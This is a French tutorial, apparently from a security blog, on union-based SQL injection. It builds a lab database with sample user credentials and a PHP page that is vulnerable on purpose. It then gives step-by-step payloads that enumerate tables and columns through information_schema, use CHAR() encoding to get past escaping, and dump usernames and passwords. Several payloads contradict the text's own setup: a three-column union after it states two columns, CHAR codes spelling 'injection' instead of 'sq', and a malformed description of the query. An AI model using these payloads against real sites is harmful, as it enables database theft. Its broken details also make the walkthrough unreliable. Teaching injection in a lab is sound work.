Union Based

Jusqu’ici nous avons vu comment bypass un formulaire d’authentification et comment utiliser les injections SQL Stack Based. Cependant avec les injections SQL on peut aller encore plus loin. Mais vraiment trèèèèèèèèèèèèèèèès loin. Dans cet article nous verrons comment dumper une base de données dans son entièreté le tout à la main via une technique d'injection appelée injection SQL "Union Based".

Pour illustrer cette page je vous propose de créer un environnement de test qui contiendra une base de données avec deux tables  ainsi qu'une page de PHP.

  • La table article et son contenu:
create table article(
  idArticle int not null auto_increment primary key,
  idCategory int not null,
  nameArticle varchar(20) not null
)
ENGINE=INNODB;
INSERT INTO article (idCategory, nameArticle) values (1, "Computer");
INSERT INTO article (idCategory, nameArticle) values (1, "WI-FI antenna");
INSERT INTO article (idCategory, nameArticle) values (1, "Proxmox");
INSERT INTO article (idCategory, nameArticle) values (2, "Smartphone");
INSERT INTO article (idCategory, nameArticle) values (3, "RubberDucky");
INSERT INTO article (idCategory, nameArticle) values (4, "Golden Ticker");
  • La table utilisateur et son contenu:
create table user(
  idUser int not null auto_increment primary key,
  username varchar(20) not null,
  password varchar(20) not null,
  emailUser varchar(40) not null
)
ENGINE=INNODB;
INSERT INTO user (username, password, emailUser) values ("Defte", "Superstrongpassword", "defte@whatever.com");
INSERT INTO user (username, password, emailUser) values ("Lexsek", "somethingstronger", "lexsek@watver.com");
INSERT INTO user (username, password, emailUser) values ("FHC", "bestcrewever", "fhc@whatever.coom");
INSERT INTO user (username, password, emailUser) values ("RandomGuy", "randompassword", "randomguy@whatever.com");

Ensuite nous allons avoir besoin d'une page PHP qui requête notre base SQL. Voici son contenu:

<?php
$bdd = new mysqli("localhost", "root", "", "sq");
if ($bdd->connect_error){
  die("Connection failed : ".$bdd->connect_error);
}
?>

<!DOCTYPE html>
<html>
  <head>
    <title>Playing with SQLi's</title>
  </head>
  <body>
        <?php
    if(!empty($_GET["idCategory"])){
      $category = mysqli_real_escape_string($bdd, $_GET["idCategory"]);
      $query = "SELECT idArticle, nameArticle FROM article WHERE idCategory = ".$category;
      $res = $bdd->query($query);
      if($res->num_rows > 0){
        while($result = mysqli_fetch_assoc($res)){
          echo $result["nameArticle"]."<br>";
        }
      }
      else{
        echo mysqli_error($bdd);
      }
    }
    ?>
  </body>
</html>

La première à chose à voir ici, c’est que le code PHP n’utilise pas de requêtes préparées, c’est donc pour ça que l’on peut injecter du code SQL. Cependant les caractères spéciaux sont échappés grâce à la fonction :

mysqli_real_escape_string

Cette fonction est utilisée afin d'encoder les caractères spéciaux suivant: NUL (ASCII 0), \n, \r, \, ', ", and Control-Z. Ce qui est intéressant avec notre application c'est le paramètre "idCategory" :

index.php?idCategory=3

On voit que le paramètre 3 est envoyé via la méthode GET. En gros, lorsque l’utilisateur entre cette URL, il demande au serveur de lui renvoyer les articles dont la catégorie vaut 3. Voici la requête SQL qu’utilisera le script PHP :

SELECT * FROM idArticle, nameArticle WHERE idCategory= 3 ;

Bien évidement la seule information dont nous disposons ici c’est qu’il existe un paramètre visible et modifiable dans l’URL et que celui-ci nous permet d’accéder à la base de données de manière direct. Du coup si on essaye de faire crasher la requête en ajoutant -par exemple-  une quote on pourrait tomber sur une erreur SQL:

87ssql1.pngPassons maintenant à l’attaque ! Nous ce qu’on veut c’est récupéré le contenu de la base de données. Pour cela, nous allons avoir besoin du nom de la base de données, des tables et des colonnes.

Mais avant tout nous allons devoir trouver le nombre de colonnes qui sont retournées par la requête SQL. Quand on regarde le code PHP on voit bien qu’il y a deux colonnes qui sont retournées :

SELECT * FROM idArticle, nameArticle WHERE idCategory= 3 ;

Dans la pratique, nous n’avons pas accès au code source de la page donc on doit deviner le nombre de colonnes affectées par la requête en utilisant la clause « order by » et en brute forçant le tout ! En live voilà ce que ça donne :

  • Order by 1:

sql2.pngPas d'erreurs SQL donc on incrémente le order by.

  • Order by 2:

sql3.pngPas d'erreurs non plus donc on incrémente le order by.

  • Order by 3:

sql4.png

Ahhh, nous avons une erreur. Elle nous apprend qu’il y a donc 2 colonnes affectées par la requête SQL.

Ce paramètre est extrêmement important, en effet grâce à lui nous allons pouvoir faire des jointures SQL et nous balader sur les autres tables de la base de données pour récupérer les données qui nous intéressent.  Attention, pour que notre injection SQL fonctionne il faudra impérativement qu’à la suite de l’union il y ait 2 paramètres. Sinon notre jointure échouera et nous aurons un message d’erreur !

Ce qui serait cool maintenant, c’est de connaître le nom de la base pour pouvoir s’y aventurer. Sauf que théoriquement on ne le connaît pas. Heureusemnt pour nous il existe des fonctions built-ins qui vont nous permettre d'obtenir ces informations telles que la fonction database()! Du coup si on entre comme paramètre :

2 union select 1,database()

Nous obtiendrons le nom de la base de données:

sql5.pngSq ? Eh bien apparament l'administrateur de la base de données ne s'est pas foulé pour créer la base! Maintenant que nous avons la nom de la base nous allons pouvoir récupérer le nom des tables en requêtant la table information_schema via ce payload:

2 union select 1,TABLE_NAME from information_schema.TABLES where table_schema='sq'

sql6.png

Ahah, ça aurait été trop facile, rappellez vous, la fonction misqli_real_escape_string va échapper certains cractères spéciaux dont les quotes ceu qui va rendre la requête SQL non valide. En soit ce n'est pas un réel problème puisqu'il est tout à fait possible de bypass ce genre de protection en utilisant encore une fois les built-in du SGBD dont a fonction CHAR qui va nous permettre de traduire un nombre en son caractère ASCII. Pour cela on pourra se traduire de table des tables ASCII:

sql7.pngLa valeur décimal de "sq" est 115,113 donc notre payload deviendra:

2 union select 1,TABLE_NAME from information_schema.TABLES where table_schema=CHAR(115, 113)

sql8.pngLà on voit apparaître le nom des tables de la base de données ! Bien évidemment celle qui nous intéresse c'est la table user qui doit probablement contenir des données sensibles telles que des identifants et mots de passe. Tout ce qu'il nous reste à faire maintenant c'est de récupérer le nom des colonnes de cette table. Encore une fois la table information_schema va nous être d’une grande aide. Et encore une fois il faudra traduire le mot « utilisateur » (le nom de la colonne) en décimal en utilisant la fonction CHAR() pour bypass l’échappement !

Voici le payload:

3 union select 1, COLUMN_NAME, 3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = CHAR(105,110,106,101,99,116,105,111,110) AND 
TABLE_NAME = CHAR(117,115,101,114)

Et l'output:

sql9.pngMaintenant que nous disposons du nom de la table ainsi que du nom de ses colonnes nous allons pouvoir en extraire les données via une simple requête SQL:

  • Pour les username:
3 union select 1,username from user;

sql10.png

  • Pour les password:
3 union select 1,password from user;

sql11.pngNous venons ainsi de dumper le contenu de la table user!